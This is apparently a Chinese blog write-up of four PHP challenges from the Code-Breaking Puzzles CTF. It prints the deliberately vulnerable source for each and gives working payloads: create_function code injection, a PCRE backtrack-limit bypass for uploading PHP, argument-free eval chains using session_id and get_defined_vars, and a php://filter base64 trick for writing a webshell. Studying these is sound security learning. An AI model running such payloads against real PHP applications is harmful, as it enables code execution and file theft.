Code-Breaking-Puzzles学习

这波刷题主要以学习为主,复现为主,知识点真的太棒了23333

easy - function

这个题目的点很有意思是关于create_function这个函数的

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

首先理解一下代码就是先得绕过一个正则,这个正则只有满足不是字母数字以及下划线才能绕过,才存在一个可控参数的函数调用,但是想不到怎么绕过的话,可以用var_dump函数尝试fuzz一下,可以得到\这个符号是可以绕过的

kIZ0GF.png

为什么可以绕过,p神在小密圈中有说过

kIZa5T.png

也就是一个命名空间的问题,什么是命名空间?可以了解一下http://php.net/manual/zh/language.namespaces.definition.php

但是接下来需要一个危险函数,由于PHP7的版本对于危险函数做了很多限制,但还是可以使用create_function这个函数,这个函数第一个参数是新构建函数的参数,第二个参数是代码内容,这个函数的利用点在哪?可以看一下这篇文章https://blog.51cto.com/lovexm/1743442,本质就是将第一个参数以及第二个参数分别合并而已,可以自己去看一下底层的代码,就是闭合下面这句函数

1
function __lambda_func ( function_args ) { function_code } \0

所以对于两个参数就有两种闭合方式

  1. 如果可控在第一个参数,需要闭合圆括号和大括号:create_function('){}phpinfo();//', '');
  2. 如果可控在第二个参数,需要闭合大括号:create_function('', '}phpinfo();//');

突然觉得字符串拼接极其不安全。。。只要一闭合就可以创造点奇奇怪怪的东西,因为这里面是php7,危险函数不能用了,如果拿到的是webshell,也可以用php的scandir、glob等函数来遍历目录来找flag。

最后可以构造payload

1
action=\create_function&arg=}var_dump(scandir(%27../%27));//
1
action=\create_function&arg=}var_dump(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));//

kImOgg.png

easy-pcrewaf

这个题目是有关正则的一个绕过,详细的原理可以看看p神的这篇文章:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

对于这个正则,就是为让PHP代码不能够实现闭合,也就是最后不能出现(`;?>这几个符号,那怎么绕过?p神给出了这样的解释,由于正则有两种匹配模式

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

而php的PCRE库使用的就是NFA的正则引擎,P神的debug过程很详细就不多说什么了。

PHP为了防止正则表达式的拒绝服务攻击(reDOS),不可能让你一直回溯浪费资源,给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限(如下图):

kTgHij.png

kTgjyV.png

所以回溯的上限是1000000,如果超过1000000就会返回false了

kT2QfA.png

这样答案就很明显了,我们可以用这个特性去绕过,发包即可

kTfWtg.png

kTfXh4.png

怎么防御?

可以使用===去防御,因为preg_match这个函数只会返回三个值1或者0或者false,可以看看这句话

returns 1 if the pattern
matches given subject, 0 if it does not, or FALSE
if an error occurred.

kThKDP.png

所以当出现false这种情况的时候,只要===存在就不会存在弱类型的情况,也就是下面的代码

1
2
3
if (is_php($data) === 0){ 
write ...
}

easy - phplimit

大佬们的骚操作又学习了,题目是下面这个样子的,然后观察一下这个正则,就是只能执行一个函数,但不能设置参数。

在这篇文章里面有提及https://lorexxar.cn/2018/05/23/rctf2018/,这篇文章用的是`next(getallheaders())`,通过获取头部信息去实现命令执行,但是这个题目有使用的是Nginx服务器,而且`getallheaders()`这个函数`getallheaders`函数是apache模块的函数,所以得另寻办法。

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

看到大佬们的wp也是惊呆了,都记录一下,

方法一:利用session_id

这个函数大的作用下图所示:

kodsJS.png

也就是获取PHPSESSID的内容,这样就可以控制PHPSESSID的内容,从而进行相关的命令执行,但需要注意的是PHPSESSID的内容可能有字符的限制,但是影响不大,所以最好还是转成16进制去操作

kowPQH.png

所以最后的操作是这样的

GET参数里面的内容

1
code=eval(hex2bin(session_id(session_start())));

PHPSESSID里面的内容

1
2
3
4
PHPSESSID=7072696E745F72287363616E64697228272E2E2F2729293B
#print_r(scandir('../'));
PHPSESSID=7072696E745F722866696C655F6765745F636F6E74656E747328272E2E2F666C61675F7068706279703473732729293B
#print_r(file_get_contents('../flag_phpbyp4ss'));

kowRpD.md.png

方法二:利用get_defined_vars

ko0HbR.png

这个函数好像在某次的安恒月赛里面出现过,当时也是学习了,但是今天再次碰到,只能怪自己没有灵活运用,导致印象不深,现在再次使用了23333

既然是返回已定义的数组那么GET数组也肯定包含在里面,那么我们可以直接get传参就可以,然后可以根据current以及next函数去转移到你所需要的参数上

1
code=eval(next(current(get_defined_vars())));&1=phpinfo();

kTVN3F.png

另外在php 7.1下,getenv()函数新增了无参数时会获取服务段的env数据,这个时候也可以利用

还有其他大佬的payload:

1
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

直接列目录,这里有个函数利用的很巧妙,就是array_reverse,这个函数恰好把数组里面的内容倒转过来,刚好可以使用一次next函数,不然的话调用数组里面的第三个值的话,就要使用多次next就显得冗余了。

easy - phpmagic

这个题目是关于写文件的,先把源码拿出来瞅瞅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>

分析一下,可以看到这里面写文件进去的文件名

1
$log_name = $_SERVER['SERVER_NAME'] . $log_name;

是由两个部分组成的,第一个部分是$_SERVER['SERVER_NAME'],另外一个是可以由用户控制的$log_name,这里涉及的知识点是在第一个参数也是可控的,如果服务器設置了下面的相關參數的话就是可控的,這個可控的參數这个值是可以伪造的。怎么伪造呢?取的是HTTP headers中的Host的值。

kO4ySf.png

下面的代码就是对写入文件的后缀名过滤,但是这个过滤太容易,因为后面是有关写文件的相关操作,他在底层会做一些操作

1
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true))

这一点在我upload-lab这篇文章里面有提及过,这里只需要用类似index.php/.这样的文件名做绕过

在观察一下代码中可以写入的内容,可以发现写进去的内容都会经过htmlspecialchars这个函数,那就是说一旦遇到类似<或者>这的操作符,就会转义。

kXSFud.png

kOzz4K.png

这里又涉及到另外的一个知识点了,可以参考一下这一篇文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html,这种类型的题目第一次我好像实在moctf上的一个题目见到的233333

由于是写入文件,可以利用php伪协议去实现多种骚操作,这里就涉及到base64这个问题,因为base64编码在遇到不在其编码集的字符的话会直接跳过,并且解码的时候是4位4位一组,所以这也是为什么下面的payload要凑出四个四个一组。

还有一个要注意的问题,由于dig接受的参数不允许过长,否则直接返回空,所以payload需要尽可能的短一些,构造payload:

kXnCn0.png

注意这里使用四个*就是为了不让发送的内容出现=,因为如果出现的话就会导致post参数增加一个,同时也起到了注释的作用,这里视情况将*增加。

kXnQHK.png

发包测试结果成功

kXnJ9H.png

kXn78J.png

还有一道PHP题目放在另外一篇文章说说吧。


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. easy - function
  2. 2. easy-pcrewaf
  3. 3. easy - phplimit
    1. 3.1. 方法一:利用session_id
    2. 3.2. 方法二:利用get_defined_vars
  4. 4. easy - phpmagic